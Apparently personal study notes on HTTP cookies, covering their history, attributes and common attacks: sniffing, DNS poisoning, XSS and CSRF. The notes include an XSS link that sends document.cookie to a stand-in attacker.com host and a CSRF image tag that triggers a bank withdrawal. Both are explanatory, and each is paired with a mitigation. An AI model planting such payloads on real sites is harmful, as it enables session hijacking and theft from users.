cookiiiies

Cookies

The term cookie comes from the term magic cookie, which is a packet of data a program receives and sends back unchanged

Cookies were invented in 1994 by Netscape, when developing an e-commerce application. They didn’t want to store partial transaction states on the server side and instead wanted to move them to the client side. Cookies were born as a virtual shopping cart

There were groups formed to discuss the security considerations of cookies in 1997 but they were ignored by Netscape and Internet Explorer (drama). We have our final Cookie RFC in 2011.

Cookie Definition

A cookie is a small block of data created by a web server and placed on the user’s device by the web browser

  1. session cookie
  2. persistent cookie
  3. secure cookie: can only be transmitted via https
  4. http-only cookie: can not be accessed by client-side apis
  5. same-site cookie: Strict | Lax | None
    • browser only sends cookie to target domain with same origin
    • chrome/firefox/edge support this but for cookies without the SameSite attribute chrome treats them as None which ruins it
  6. zombie cookie: cookie information hidden outside cookie storage1
    • eg could be in flash, web history, web cache, localStorage, sessionStorage, indexedDB etc
    • restored as normal cookie by some js whenever its found missing from the cookie storage

Implementation and Structure

A cookie is just a name:value pair with some attributes

/* example structure */
struct cookie_t {
  string name;
  string value;
  struct attributes_t* attr;
};
 
struct attributes_t {
  /* set by server */
  string domain;
  string path;
  bool secure_only;
  bool https_only;
  /* stored by user agent */
  bool persistent;
  bool host_only;
  time_t last_access_time;
  time_t creation_time;
  time_t expiry_time;
}

(it can have 0 or more attributes, but a user-agent (browser) stores all the above attributes, setting defaults where required)

Cookies are set using the response header Set-Cookie:

Set-Cookie: flag=MetaCTF{n0nc0ns3nsu4l_c00ki3_cr4ckd0wn}; Expires=Tue, 25 Feb 2025 17:54:55 GMT; Max-Age=7200; HttpOnly; Path=/

And cookies are sent back to the server with every request using the request header Cookie:

Cookie: theme=light; sessionToken=abc123

cookies can also be created on the client-side with javascript

  1. Domain and Path
HTTP/1.0 200 OK
Set-Cookie: LSID=1234;          Path=/accounts; Expires=Wed, 13 Jan 2026 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=5678; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2026 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=9012; Domain=foo.com;  Path=/; Expires=Wed, 13 Jan 2026 22:23:01 GMT; Secure; HttpOnly

Domain and Path define the scope of the cookie, they tell the browser what website the cookie belongs to. The Domain attribute specifies the hosts that to which the cookie will be sent. The Path attribute adds further isolation, the browser sends these cookies only on the requests to subpaths of the attribute. The browser also sends the cookies to the subdomains that match

If the server doesn’t specify them they default to the domain and the path of the resource that was requested. Most browsers will set the host_only attribute for these cookies and NOT include subdomains.

Can the Server set any Domain?

Since the server provides the domain when setting a cookie, it could potentially set a domain other than itself? [attacker.com] could set a client cookie for [google.com] that would be sent to google on every request.

This is undesirable and the browser checks that the server only sets domains that belong to it (the domain or specific subdomains)

What if the cookie was set by a script? (What domain is associated with the script?)

defaults to domain of wherever script was run, could potentially be "", if its something random it just won’t be set

The LSID cookie can only be sent to [domain.com/accounts/*] whereas HSID and SSID can be sent to [*.domain.com/*] (all subdomains and paths)

  1. Expires and Max-Age

Expires defines a specific date and time for when the browser should delete a cookie. Max-Age provides a relative offset in seconds however its uncommon and some browsers (*cough* internet explorer *cough*) don’t support it. If supported though you should be using Max-Age

The format is Wdy, DD Mon YYYY HH:MM::SS GMT

Expires=Tue, 11 Apr 2017 06:32:24 GMT

If this field isn’t provided the browser sets it as a session cookie and deletes it when the connection is closed

  1. Secure/HttpOnly/SameSite
  • Secure tells the browser to encrypt the cookie and only send it over HTTPS (this doesn’t stop it from being sent over HTTP lmao, make sure to set it from HTTPS too)
    • always have the Secure attribute
  • HttpOnly tells the browser not to expose cookies through other channels. This prevents client-side JS from stealing your cookie and mitigates XSS
    • always have this on for session ids
    • can’t set an HttpOnly cookie from client-side script
  • SameSite isn’t part of the RFC but implemented by browsers. only send coookie in same-site contexts. Mitigates CSRF
    • blocks sending cookies in requests from other websites
    • img fetches from other websites wont have your cookies
    • redirects from another website won’t include your auth token so you’ll have to login again
    • can be Strict, Lax, or None

Most websites use cookies as the only identifiers for user sessions. Which means if you get someone’s cookies you can impoersonate someone else

Packet Sniffing

From a network attacker model, since cookies are sent over the network to the server with every request, if they are not encrypted, anyone listening over the network could steal them. This is why we use the Secure attribute on cookies, to ensure they are not sent over unencrypted channels.

DNS Cache Poisoning

Another network attack is if an attacker manages to modify a DNS server. The attacker creates a record for

www.example.com.	        299	IN	A	104.18.27.120
attacker.www.example.com.	299	IN	A	69.69.420.67

Now if any request goes to attacker.www.example.com it also contains all of the user’s cookies for www.example.com.

However if the cookie is Secure the attacker still has to take the trouble of obtaining a certificate for attacker.www.example.com to prevent the browser’s certificate mismatch warning. For the attacker to do so legitimately example.com must not have HSTS (strict transport security) for the root and its subdomains, and the cookies must not be host_only

Cross Site Scripting

If the website takes unsanitized user input somewhere, you have xss

document.cookie

returns all the cookies for the current domain. If you can inject this html/js on a website, you can fetch the cookies and do with them what you want.

For example you could insert

<a 
  href="#" 
  onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;"
>Click here!</a>

Which on clicking gives attack.com all your cookies for example.com

Having HttpOnly cookies mitigates this, that attribute prevents cookies from being accessed by scripts.

Cross Site Request Forgery

This involves sending a request for an action from another website. The browser processes this request and attaches the required cookies with it.

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

Anytime Bob visits attacker.com containing the above image tag, a request to bank.example.com is made on his behalf, and the browser attaches his cookies with it. The bank receives an authorised request and Bob loses his money

Footnotes

  1. https://en.wikipedia.org/wiki/Evercookie